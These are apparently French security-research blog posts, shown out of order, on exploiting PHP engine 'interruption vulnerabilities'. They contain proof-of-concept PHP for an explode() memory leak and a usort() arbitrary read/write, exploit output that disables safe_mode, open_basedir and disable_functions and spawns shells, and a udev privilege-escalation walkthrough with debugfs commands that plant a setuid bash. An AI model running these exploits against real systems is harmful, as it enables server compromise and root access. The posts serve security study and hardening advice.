[+] INI enable_dl: OFF
[+] INI disable_function: dl,exec,passthru,proc_open,proc_close,shell_exec,system
[+] Exploiting usort() ...
[+] Arrived at candy mountain ...
[+] Symbol resolution: zend_hash_dprot_counter
[+] Elf header 0x8048000
[+] DYNAMIC segment addr: 0x853d3b8
[+] DYNAMIC segment size: 0x170
[+] DT_STRTAB addr: 0x8072088
[+] DT_SYMTAB addr: 0x805b6f8
[+] Symbol found: zend_hash_dprot_counter addr: 0x8568d24
[+] Wrote fake dtor. Smells like EIP pwnage ...
$ uname -sr
Linux 2.6.28-14-generic
$


Cet exploit utilise la résolution de symboles pour retrouver zend_hash_dprot_counter. Même si la résolution des symboles dépasse le cadre de ce billet, il est intéressant de présenter une solution pour trouver l'en-tête ELF du binaire PHP.

PHP peut en effet se présenter sous la forme d'un module Apache. Il est alors impossible d'utiliser l'adresse universelle 0x8048000 valable pour tout ELF Linux x86. La solution la plus simple consiste à utiliser un pointeur dans le segment .text comme pDestructor et de descendre en mémoire page par page à la recherche de l'entête ELF.

 
Exploitation via ini_directives :

Un autre scénario d'exploitation est de s'attaquer aux protections PHP comme par exemple safe_mode ou open_basedir.

Pour mener cette attaque, il faut commencer par réussir à retrouver la structure interne executor_globals qui contient les informations nécessaires en créant un array contenant une variable non initialisée. Ensuite, il faut lire la Hashtable de cet array et récupérer le pointeur pDataPtr du bucket. Ce pointeur contient l'adresse de la variable uninitialized_zval de la structure executor_global. Cette structure contenant beaucoup d'éléments et étant de plus régulièrement modifiée suivant les versions de PHP, il est nécessaire de trouver des méthodes fiables pour retrouver les éléments dont nous avons besoin.

L'élément qui nous intéresse ici est le pointeur ini_directives. Il se trouve que la variable qui le précède dans la plupart des cas est la variable lambda_count. Cette dernière est incrémentée à chaque fois qu'un appel à create_function est fait, ce qui la rend facile à fingerprinter. On peut donc ainsi retrouver facilement ini_directives.

On parcourt ensuite la liste chainée ini_directives et pour chaque élément de cette liste de type HashTable, on récupère le Bucket. Le pointeur pData de chaque Bucket pointe sur une structure de type _zend_ini_entry. Cette structure contient un flag qui permet de dire si les variables de configuration ini peuvent être modifiées par le code PHP ou non. Il suffit donc de modifier ce flag pour rendre n'importe quelle variable de configuration ini directement modifiable dans le code php via la fonction ini_set.
 
Démonstration :

$ php exploit_ini_downgrade.php
[+] OS: Linux
[+] Auto-detection: sizeof_int=4 sizeof_long=4 sizeof_ptr=4, little-endian system
[+] Testing memory leak (arbitrary read access)
[+] Memory leak test : read OK
[+] INI safe_mode: ON
[+] INI open_basedir: /home/
[+] INI enable_dl: OFF
[+] Exploiting usort() ...
[+] executor_globals addr: 0x85688c0
[+] ini_directives addr: 0x856e3d8
[+] INI safe_mode: OFF
[+] INI open_basedir: None
[+] INI enable_dl: ON


A la fin de l'exécution de cet exploit, tout le code PHP sera exécuté sans safe_mode et sans open_basedir.

La structure _zend_ini_entry contient une autre variable intéressante : on_modify. Cette variable peut contenir un pointeur sur fonction appelé lorsque la variable est modifiée via l'appel à  ini_seton_modify. Ensuite en appelant ini_set dans le code PHP, pour la bonne variable PHP, notre shellcode sera automatiquement appelé.

Cette exploitation ressemble à l'exploitation du pointeur pDestructor des hashtables mais celui-ci n'est pas sécurisé par suhosin. Cette méthode comporte toujours le même problème que l'exploitation avec pDestructor à savoir l'exécution d'un shellcode placé dans le heap. 

Il est cependant possible de contourner ce type de protection en utilisant la technique de ret-into-text. Etant donné que nous n'avons pas le contrôle de la pile, nous allons devoir en émuler une dans le heap. Après sa construction, il faut détourner le pointeur de pile pour qu'elle soit utilisée.

La méthode d'exploitation est la même que ci-dessus sauf que l'on fait pointer on_modify sur des instructions telles que pop ebp, ret. L'instruction "pop ebp" place l'argument de la fonction on_modify dans le registre EBP, ici le pointeur sur notre fausse pile dans le heap. La fonction on_modify prenant plusieurs paramètres, il est possible de chaîner un autre retour dans le .text pour pouvoir assigner à ESP l'adresse de notre fausse pile. A partir de maintenant , le système utilise notre pile. Il est alors possible de chainer tous les appels que nous voulons. Pour plus de détails sur toutes ces manipulations, je vous invite à lire cet article : The advanced return-into-lib(c) exploits: PaX case study.

Démonstration :

$ php ./exploit_cmd_ret2text.php
[+] OS: Linux
[+] Auto-detection : sizeof_int=4 sizeof_long=4 sizeof_ptr=4 on a little-endian system
[+] Testing memory leak (arbitrary read access)
[+] Memory leak test : read OK
[+] Exploiting usort() ...
[+] executor_globals addr: 0x85688c0
[+] ini_directives addr: 0x856e3d8
[+] Looking for pop ebp / ret
[+] Elf header 0x8048000
[+] data segment addr: 0x8048000
[+] data segment size: 0x4e4e30
[+] opcode found, addr: 0x80985b4
[+] Symbol resolution: php_exec
[+] Elf header 0x8048000
[+] DYNAMIC segment addr: 0x853d3b8
[+] DYNAMIC segment size: 0x170
[+] DT_STRTAB addr: 0x8072088
[+] DT_SYMTAB addr: 0x805b6f8
[+] Symbol found: php_exec addr: 0x8211d70
[+] Looking for mov esp, ebp / pop ebp / ret
[+] Elf header 0x8048000
[+] data segment addr: 0x8048000
[+] data segment size: 0x4e4e30
[+] opcode found, addr: 0x8098731
[+] Looking for pop ebx / pop esi / pop edi / pop ebp / ret
[+] Elf header 0x8048000
[+] data segment addr: 0x8048000
[+] data segment size: 0x4e4e30
[+] opcode found, addr: 0x80989b8
$ uname -sr
Linux 2.6.28-14-generic
$

 

Activation des disable_functions :

Parmi les configurations disponibles pour durcir la sécurité de php, il existe la possibilité de supprimer des fonctionnalités de php. Par exemple on peut choisir de rendre impossible l'appel à des fonctions comme passthru ou system. Cette configuration se fait via la variable disable_functions dans le fichier de configuration php.ini. Typiquement cela sert à supprimer des fonctions comme system, passthru ou dl, pour éviter qu'une vulnérabilité autorisant l'exécution de code php ne se transforme trop facilement en exécution de shellcodes ou de commandes shell.

Pour retrouver la liste des fonctions appelables, il faut retrouver dans un premier temps la structure executor_global,  telle que décrit précédemment, et dans un second temps le pointeur function_table de cette structure. La technique utilisée est identique à la technique pour retrouver ini_directives à la différence près que nous utilisons error_reporting au lieu de lambda_count comme point de repère dans la structure.

Function_table est un pointeur sur une structure HashTable qui contient une liste de Bucket. Chaque Bucket a pour pointeur pData une structure _zend_internal_function décrivant une fonction PHP. Cette structure contient un pointeur sur la fonction à appeler. Lorsque la fonction est désactivée, ce pointeur est remplacé par un pointeur sur une fonction générique affichant un message pour dire que cette fonction n'est pas activée.

Si nous souhaitons réactiver une fonction, system par exemple, il faut commencer par résoudre le symbole system pour obtenir l'emplacement mémoire de la fonction.

Ensuite il faut créer une fonction PHP mysystem prenant les mêmes paramètres que la fonction system originale. Il faut alors parcourir les structures _zend_internal_function jusqu'à retrouver celle décrivant mysystem dans laquelle il suffit de remplacer deux variables :
- type qui permet de savoir si la fonction est interne ou utilisateur
- handler le pointeur sur la fonction à appeler et qu'il faut remplacer par l'adresse de la fonction system d'origine.

Une fois ces modifications faites, il suffit d'appeler mysystem et la fonction system interne originale sera appellée.

Démonstration :

$ php ./exploit_cmd_disable.php
[+] OS: Linux
[+] Auto-detection : sizeof_int=4 sizeof_long=4 sizeof_ptr=4 on a little-endian system
[+] Testing memory leak (arbitrary read access)
[+] Memory leak test : read OK
[+] INI safe_mode: ON
[+] INI open_basedir: /home/
[+] INI enable_dl: OFF
[+] INI disable_function: dl,exec,passthru,proc_open,proc_close,shell_exec,system
[+] Exploiting usort() ...
[+] executor_globals addr: 0x85688c0
[+] Symbol resolution: zif_passthru
[+] Elf header 0x8048000
[+] DYNAMIC segment addr: 0x853d3b8
[+] DYNAMIC segment size: 0x170
[+] DT_STRTAB addr: 0x8072088
[+] DT_SYMTAB addr: 0x805b6f8
[+] Symbol found: zif_passthru addr: 0x82123d0
[+] ini_directives addr: 0x856e3d8
[+] INI safe_mode: OFF
[+] INI open_basedir: None
[+] INI enable_dl: ON
[+] INI disable_function: dl,exec,passthru,proc_open,proc_close,shell_exec,system
$ uname -sr
Linux 2.6.28-14-generic
$

Dans cet exemple d'exploitation, il est possible de voir à la fin de l'exploit que les fonctions citées sont toujours marquées comme étant désactivées. Cependant, la création d'une fonction mysystem  modifiée comme expliqué précédemment permet d'appeler n'importe laquelle de ces fonctions.

 

Conclusion :

Pour résumer, faire reposer la solidité de ses cloisonnements uniquement sur des protections internes au moteur (safe_mode, open_basedir et disable_function) est très mauvais. Ces protections sont insuffisantes, le cloisonnement doit se poser plus haut, avec des mécanismes comme suPHP par exemple ou au niveau du système d'exploitation avec des jails ou chroot.

 

Vulnérabilités au coeur du moteur PHP - Partie 1

PHP is fun !Parmi toutes les technologies que nous rencontrons au cours de nos audits chez Atlab, PHP est sans aucun doute celle qui nous procure le plus de "shells". A sa décharge, nous le rencontrons plus souvent que les autres.

Le moteur PHP s'est doté, au fil des années, de nombreuses fonctionnalités de cloisonnement ou "sandboxing" permettant aux administrateurs d'isoler les différentes instances les unes des autres.

Ces options, correctement configurées, peuvent éviter qu'une application PHP ne déborde sur une autre et complexifient voire empêchent complètement toute progression vers le système d'exploitation.

Les options principales sont:

  • safe_mode : Influence le comportement de nombreuses fonctions internes. L'exécution de commandes par exemple est restreinte aux exécutables appartenants au même compte utilisateur (UID) que PHP.
  • open_basedir : Spécifie un répertoire au dessus duquel il est impossible de remonter, similaire à la commande "chroot" sous UNIX.
  • disable_functions : Liste de fonctions internes à PHP qui sont désactivées.
  • enable_dl : Autorise ou non le chargement de librairies PHP dynamiques.

C'est justement sur cette phase de progression du PHP vers le système d'exploitation que s'est focalisé Stefan Esser dans ses recherches intitulées State of the Art Post Exploitation in Hardened PHP Environments exposées récemment aux conférences Blackhat et Syscan (juillet 2009). Stefan Esser est un personnage très connu dans la sécurité informatique, particulièrement pour tous ses travaux tournants autour du moteur PHP. Il est en charge du Hardened PHP Project, auteur du patch Suhosin (qui apporte de nombreuses améliorations sur la sécurité du moteur PHP) et initiateur du Month Of PHP Bugs. Ce billet a pour but d'exposer nos propres travaux et découvertes, suite à la publication de ses recherches.

Stefan Esser expose une classe de vulnérabilités à part entière, qu'il affirme n'être présente que dans le moteur PHP. A défaut d'être nouvelles puisqu'il en avait déjà fait de belles démonstrations en 2007 lors de son Month Of PHP Bugs, les vulnérabilités de ce type ont été largement négligées, autant par les experts en sécurité que par les développeurs PHP. Elles sont pourtant aussi efficaces que difficiles à corriger parce qu'inhérentes à l'architecture du moteur. C'est donc le moment de rattraper le temps perdu...

 

Introduction

Venons en au fait; il s'agit de "vulnérabilités d'interruption" traduit littéralement de "Interruption Vulnerabilities".

Nous pouvons assimiler PHP à une machine virtuelle et considérer qu'il y a deux contextes d'exécution. Le premier contexte est celui du moteur PHP, du code en C, compilé dans un binaire CGI ou une librarie Apache. Le second contexte est celui du code utilisateur, en PHP, interpreté par le moteur PHP.
Les vulnérabilités d'interruptions consistent simplement à interrompre des fonctions internes dans le but de changer de contexte, repasser dans celui de l'utilisateur, re-retourner dans la fonction interne, etc. Ce sont ces oscillations entre les deux contextes qui créent ces vulnérabilités et dont nous détaillerons l'exploitation. En deux mots, il s'agit de modifier les données traitées par la fonction interrompue. Une fois l'interruption terminée, l'execution retourne dans la fonction interne du moteur PHP mais son environnement a changé et c'est l'échec !

La finalité est l'obtention d'un accès complet à la mémoire (lecture et écriture). Nous verrons comment désactiver toutes les protections du moteur et exécuter du code PHP non restreint. Nous mentionnerons un raccourci menant à l'exécution de commandes shell, toujours sans restriction. Nous terminerons sur l'exécution de code natif (shellcode) via trois techniques différentes, avec en bonus, un contournement de Suhosin et de grsecurity / DEP (qui empêchent l'exécution de code sur le tas).

Stefan Esser nous expose deux vulnérabilités (non-corrigées) du moteur PHP. Les étapes principales de l'exploitation sont les suivantes :

  1. Exploitation d'une fuite mémoire dans explode() afin d'obtenir un accès arbitraire en lecture seule.
  2. Recherche d'informations en mémoire (adresses et structures internes au moteur).
  3. Exploitation de usort() afin d'obtenir un accés arbitraire en lecture/écriture.
  4. Prise de contrôle du moteur PHP, désactivation des protections et/ou exécution d'un shellcode.

Avant de commencer, il est important de connaitre les principales structures utilisées dans le moteur PHP:

  • HashTable : Objet représentant un tableau PHP pouvant être associatif (une table de hash), numérique (tableau classique avec indexes) ou les deux à la fois.
  • Bucket : Entrée dans une HashTable (case d'un tableau PHP). Un Bucket est prévu pour faire parti d'une liste chainée. Chaque bucket contient un zval.
  • zval : Structure stockant les variables PHP. Cette structure permet de faire abstraction du type de données qu'elle contient (entier, chaîne de charactères, tableau, object, ...)
  • zvalue_value : Valeur d'une variable PHP. La valeur d'un zval est son zvalue_value. C'est une union de variables C, c'est à dire qu'elle peut être un long (nombre PHP), un pointeur sur HashTable (tableau PHP), un pointeur sur chaîne (chaîne de caractères PHP), etc.
  • _zend_executor_globals : Structure principale stockant les informations sur le processus PHP en cours, sa configuration (variables INI), etc.
  • _zend_ini_entry : Représentation d'une option de configuration PHP (variable INI).

Il est recommandé de se référer aux documents (rapport et présentation) de Stefan Esser ainsi qu'aux sources dans lesquelles ces structures sont amplement détaillées. N'oublions pas que certaines structures ont évoluées au fil des années et sont donc agencées différement selon les versions du moteur.

Enfin, il faut savoir que l'interruption d'une fonction peut être faite de plusieurs manières. Nous utiliserons la plus "simple", qui consiste à passer des arguments invalides/inattendus à l'appel d'une fonction, tout en ayant déclaré un gestionnaire d'erreur (grâce à set_error_handler()). Lors d'une erreur considérée fatale, c'est au gestionnaire d'erreur de terminer l'exécution par un appel à exit() ou die(). Nous sommes libres, si l'on a défini notre propre gestionnaire (et donc remplacé celui de PHP) de ne pas terminer l'exécution de code après une erreur, même fatale.

Exploitation d'une fuite mémoire dans explode() - 1ère partie

La fonction explode() découpe une chaîne de caractères en plusieurs morceaux selon un délimiteur. Elle prend donc deux arguments; le délimiteur et la chaine de caractères à découper. Le résultat est ensuite retourné sous forme de tableau.

Commençons directement par nous salir les mains avec le premier "proof-of-concept".

<?php
function leakErrorHandler()
{
    if (is_string($GLOBALS['var'])) {
        parse_str("2=9&254=2", $GLOBALS['var']);
    }
    return true;
}
$var = str_repeat("A", 128);
set_error_handler("leakErrorHandler");
$data = explode(new StdClass(), &$var, 1);
restore_error_handler();
var_dump($data);
?>

Ce code PHP doit afficher une chaine de 128 caractères dont la plupart sont non imprimables. Pour le reste de ce billet, nous utilisons une fonction 'hexdump' pour un affichage plus agréable. En remplaçant var_dump($data); par hexdump($data[0]); nous obtenons un résultat similaire au suivant :

00000000: 08 00 00 00 07 00 00 00 02 00 00 00 FF 00 00 00 ................
00000010: E8 69 7A 00 E8 69 7A 00 40 6A 7A 00 A0 51 7A 00 .iz..iz.@jz..Qz.
00000020: A6 1A 26 00 00 00 01 00 11 00 00 00 31 00 00 00 ..&.........1...
00000030: 39 00 00 00 B8 69 7A 00 19 00 00 00 11 00 00 00 9....iz.........

Nous venons d'obtenir le contenu d'une HashTable en mémoire. Nous pouvons le vérifier en comparant son contenu par rapport à une structure HashTable (encore merci à Stefan Esser pour ses schémas).

HashTable Structure

Détaillons nos actions:

  1. Nous allouons un espace mémoire de 128 octects.
  2. Nous déclarons notre gestionnaire d'erreur par un appel à set_error_handler().
  3. Nous appelons la fonction explode() avec trois arguments. Le premier, le délimiteur, est volontairement invalide et c'est ce qui déclenchera notre gestionnaire d'erreur. Le deuxième est la chaine de caractères à découper (128 octets de "A") que nous passons en référence en précèdant son nom par un &. Le troisième argument sert à ignorer la valeur du délimiteur.
  4. La fonction explode() s'interrompe car le premier argument est invalide (un objet au lieu d'une chaine de caractères). Une exception est levée et notre gestionnaire est appelé.
  5. Depuis notre gestionnaire, nous appelons parse_str() afin de tranformer notre chaine de caractères en un tableau PHP sans ré-allouer de variable (voir Note 2).
  6. Nous désactivons notre gestionnaire d'erreur grâce à restore_error_handler() puis nous affichons les données retournées par explode().

Que s'est-il réellement passé ?

Du point de vue du moteur, nous avons écrasé un pointeur par un autre. En effet, la valeur d'une variable est representée par l'union zvalue_value. En remplacant notre chaine de caractères par un tableau nous avons remplacer un char *val; par un HashTable *ht;.

A ce stade, si l'on pouvait afficher le contenu de nos zval, voici ce que nous pourrions voir avant et après appel du gestionnaire d'erreur :

zval conversion

Une fois retourné dans le code de explode(), celui-ci va parcourir notre chaine de caractères afin de la découper. Or, le pointeur qui sera déréferencé n'est plus celui pointant vers 128 octets de "A" mais celui d'une HashTable. PHP va donc lire 128 octets à partir de l'addresse d'une HashTable en mémoire.

Notons quelques détails supplémentaires :

  • Le fait de passer notre variable par référence (&$var) n'est pas anodin. Lorsque nous y accèderons au travers de $GLOBALS['var'] nous modifierons la variable originale et non pas une copie de celle-ci.
  • Le fait d'utiliser parse_str() nous permet de convertir une variable en conservant son zval original. Si nous utilisons $GLOBALS['var'] = array();, un nouveau zval et un nouveau zvalue_value seront alloués.

Lire une HashTable, quel intérêt ?

Hormis la mise en évidence de la fuite mémoire, le fait de lire une HashTable va nous permettre de déduire plusieurs choses concernant le système :

  • Architecture Little/Big Endian
  • Taille d'un int, long et pointeur.
  • Adresse de la dtors (adresse dans la zone .text)
  • Adresse de n'importe quelle variable PHP (voir 3ème partie).

Entre autre, ces informations permettront de rendre les exploits portables sur les différents systèmes et architectures.

 

Exploitation d'une fuite mémoire dans explode() - 2ème partie

En modifant un zval de type "string" en un zval de type "array" nous remplaçons en réalité un pointeur sur caractères par un pointeur sur HashTable. Qu'en est t-il des autres types de variables ?

Il se trouve qu'un long est stocké sur 4 octets tout comme un pointeur. Si l'on modifie notre zval "string" par un zval "long" nous allons écraser notre pointeur sur caractères par un long. Etant donné que nous contrôlons la valeur de ce long, alors nous contrôlons le pointeur.

Provoquer une fuite mémoire à une adresse arbitraire est donc trivial. Il suffit de remplacer l'appel à parse_str(). Exemple:

$GLOBALS['var'] += 0x08048000;

Après cette modification, nous obtenons bel et bien le header ELF de l'exécutable PHP (ou celui de Apache dans le cas où PHP est en module). L'utilisation de += n'est pas anodine. Cela permet, encore une fois, de modifier le zval existant sans en créer de nouveau. Lors de l'opération, le moteur va convertir $GLOBALS['var'] en nombre (zéro en l'occurence) avant d'y additionner notre valeur.

Attention, la taille d'un long n'est pas systèmatiquement la meme que celle d'un pointeur (typiquement, Windows en 64Bits). La technique devra être adaptée sur ces systèmes, mais nous ne nous attarderons pas dessus.


Exploitation d'une fuite mémoire dans explode() - 3e partie

A ce stade, nous avons donc un accès complet (en lecture) à la mémoire du processus PHP. Encore faut-il savoir où lire. Nous n'avons en effet aucune connaissance de l'agencement de la mémoire. D'une part il faut éviter une erreur de segmentation, d'autre part nous devons localiser les informations intéressantes en mémoire.

Grâce à la fuite du contenu d'une HashTable (1ère partie), nous allons voir qu'il est possible de récupérer l'adresse de n'importe quelle variable PHP.

Pour cela, reprenons le code de notre premier exemple. Au lieu de créer un tableau de deux cases, nous allons créer un tableau vierge puis y mettre la variable PHP dont nous désirons récupérer l'adresse.

$test = "toto42";
parse_str("", $GLOBALS['var']);
$GLOBALS['var'][0] = &$test;

Il suffit ensuite de récupérer le tableau, lire le premier bucket et récupérer son champ pData. Le champ pData est un pointeur sur zval, en l'occurence le zval correspondant à notre variable $test. Le champ pDataPtr est un pointeur sur le zvalue_value du zval.

Vérifions à l'aide de GDB. Nous ajoutons un appel à date() à la fin de notre code et nous lancons gdb:

GDB

Avant de continuer, nous vous conseillons de créer un jeu de fonctions qui surchargent la fuite mémoire présente dans explode(). Exemples :

  • leak_mem($ptr, $len) : Retourne $len octets de mémoire à l'adresse $ptr.
  • leak_var_zval($variable)  : Retourne l'adresse du zval d'une variable.
  • leak_var_zvalue($variable)  : Retourne l'adresse du zvalue_value d'une variable.
  • leak_int(), leak_long(), leak_ptr(), etc.

 

Exploitation de usort()

usort() est une fonction qui permet de trier un tableau "sur place", c'est à dire sans allouer de nouveau tableau. De plus, l'interruption de cette fonction se fait naturellement (sans recours à un gestionnaire d'erreur) puisqu'elle va appeler notre fonction de comparaison plusieurs fois afin de trier le tableau.

Le moteur PHP comporte des optimisations concernant la gestion de sa mémoire. Notamment, la création d'une nouvelle variable PHP ne signifie pas systématiquement un appel à malloc() (ou équivalent) au niveau du moteur. Inversement, la suppression d'une variable ne signifie pas que son espace mémoire correspondant sera free(). Le moteur s'occupe donc d'allouer ou de ré-utiliser de la mémoire lorsque cela est possible.

La vulnérabilité peut être illustrée par le code suivant :

function usercompare($a, $b)
{
    global $arr ;
    if (isset($arr[2])) {
        unset($arr[2]);
    }
    return 0;
}
$arr = array (0 => "AAAAAAAAAAAAAAAAAAA",
              1 => "BBBBBBBBBBBBBBBBBBB",
              2 => "CCCCCCCCCCCCCCCCCCC",
              3 => "DDDDDDDDDDDDDDDDDDD");
@usort ($arr , "usercompare");

L'exécution du code ci-dessus va provoquer un crash. En effet, nous supprimons la 2ème case du tableau, avant que celle-ci ne soit utilisée. Lorsqu'elle le sera, l'emplacement mémoire qu'elle occupait étant désormais inexistant, le moteur lira des données invalides provoquant un crash (dans la majorité des cas).

Une exploitation pertinente de usort() peut se résumer ainsi
:

  1. Création d'un faux zval en mémoire.
  2. Récupération de l'adresse du faux zval (cf: exploitation de explode() - 3ème partie)
  3. Création d'un faux bucket en mémoire avec un pointeur sur le faux zval.
  4. Interruption de usort()
  5. Assignation du faux bucket à une variable (nouvelle et unique).
  6. Destruction d'une case du tableau.

Après une exploitation réussie, nous retrouvons notre faux zval dans une des cases du tableau. L'objectif ? Avoir placé un zval qui adresse la quasi-totalité de la mémoire sous forme d' une fausse chaine de caractères. Cela se représente facilement par un zvalue_value dont le pointeur (str) est à 0x00000000 et dont la longeur (len) est à 0x7fffffff (soit 2 Go). Les dévelopeurs PHP ayant choisi de stocker la longeur d'une chaine sur un int, nous sommes limité a 0x7fffffff.

A partir de là, lire ou écrire dans la mémoire du processus est aussi simple que:

$memory              = &$arr[2];
$read             = $memory[0x41414141];
$memory[0x41414141] = $write;

Maintenant que nous avons un accès complet à la mémoire aussi bien en lecture qu'en écriture, nous verrons dans un 2ème billet, comment utiliser cela afin de désactiver les protections du moteur, appeler des fonctionnalités désactivées, et même exécuter du code natif.
 

Contournement de DEP

logo tomcat

Une vulnérabilité de type buffer overflow dans le module mod_jk a été découverte en 2007 (CVE-2007-07774). Elle est présente dans la fonction map_uri_to_worker()  (native/common/jk_uri_worker_map.c) et permet à un attaquant d'exécuter du code arbitraire à distance.

Si l'exploitation de cette vulnérabilité reste triviale sous Windows avec DEP désactivé, elle devient un peu plus complexe lorsque cette protection est activée.

Le document "Contournement de Data Prevention Execution : exploitation de mod_jk 1.2.20" explique comment contourner la protection et exploiter cette vulnérabilité sur un système Windows avec DEP activé.

Vulnérabilité udev

logo udev Une vulnérabilité dans udevd permettant une élévation de privilèges sur les systèmes Linux a récemment été découverte par Sebastian Krahmer. Des explications de la vulnérabilité, la manière de l'exploiter et le patch à appliquer sont présents çà et . Des exploits ont même été diffusés sur milw0rm.

Une des méthodes d'exploitation est d'utiliser le fichier de règles 95-udev-late.rules et d'exécuter des commandes arbitraires  en utilisant l'action remove. L'inconvénient de cette technique est que cette action n'est pas forcément présente sur toutes les distributions Linux (comme par exemple RedHat et ses dérivés) . 

Une meilleure solution, complètement fiable de surcroit, est de créer un noeud de périphérique en mode 0666 qui accéde à une partition montée (/dev/zero vers /dev/sda1 par exemple). Il est alors possible de modifier les droits d'un binaire (typiquement pour le rendre suid) en accédant directement à bas niveau au système de fichiers.

En supposant que le système de fichiers rencontré est toujours ext{2,3} (il est en effet rare en pratique d'observer des partitions principales formatées en reiserfs, xfs ou autre), l'attaquant dispose de deux solutions. La première est d'utiliser debugfs et la commande set_inode_field (si) ou modify_inode (mi) (set_inode_field est uniquement présente dans les dernières versions de debugfs). debugfs étant fourni avec le package e2fsprogs dans lequel sont aussi présents mke2fs et e2fsck,  nous pouvons supposer que cet outil est toujours présent sur les systèmes Linux.

En utilisant debugfs, on obtient alors :

$ ls -alp /dev/hda1
brw-rw---- 1 root disk 3, 1 Apr 30 02:23 /dev/hda1
$ ls -alp /dev/zero
brw-rw-rw- 1 root disk 3, 1 Apr 30 02:26 /dev/zero
$ sync
$ /sbin/debugfs -w /dev/zero
debugfs 1.41.3 (12-Oct-2008)
debugfs:  mkdir .xxx
debugfs:  cd .xxx
debugfs:  write /bin/bash pwn
Allocated inode: 16
debugfs:  set_inode_field pwn mode 0104755
debugfs:  close
debugfs:  quit
$ sync
$ ls -alp /tmp/.xxx/pwn
-rwsr-xr-x 1 compaq compaq 700492 Apr 30 02:30 /tmp/.xxx/pwn

Si debugfs n'est pas présent, il est toujours possible d'utiliser la librairie ext2fs.

Afin de reproduire le scénario précédent, le pseudo algorithme à suivre pour rendre un binaire setuid peut alors être :

1/ Ouverture du périphérique en écriture avec ext2fs_open() et lecture des tables bitmaps de blocs et d'inodes avec ext2fs_read_inode_bitmap() et ext2fs_read_inode_bitmap().

2/ Création d'un répertoire (/tmp/.xxx par exemple en prenant soin de vérifier que /tmp n'est pas monté en nosuid et noexec) avec ext2fs_mkdir().

3/ Copie du binaire dans le répertoire précédement créé avec les fonctions ext2fs_namei(), ext2fs_new_inode() et ext2fs_link().

4/ Modification de la structure inode du fichier nouvellement créé avec les fonctions ext2fs_read_inode() et ext2fs_write_inode() pour lui donner les droits suid.

Il ne faut pas oublier de faire un sync() avant et après avoir accédé au système de fichiers afin qu'il soit mis à jour. A partir de là, on obtient un exploit complètement fiable et générique. La seule contrainte (qui n'en est pas vraiment une) est donc d'être sur un système de fichiers ext{2,3}.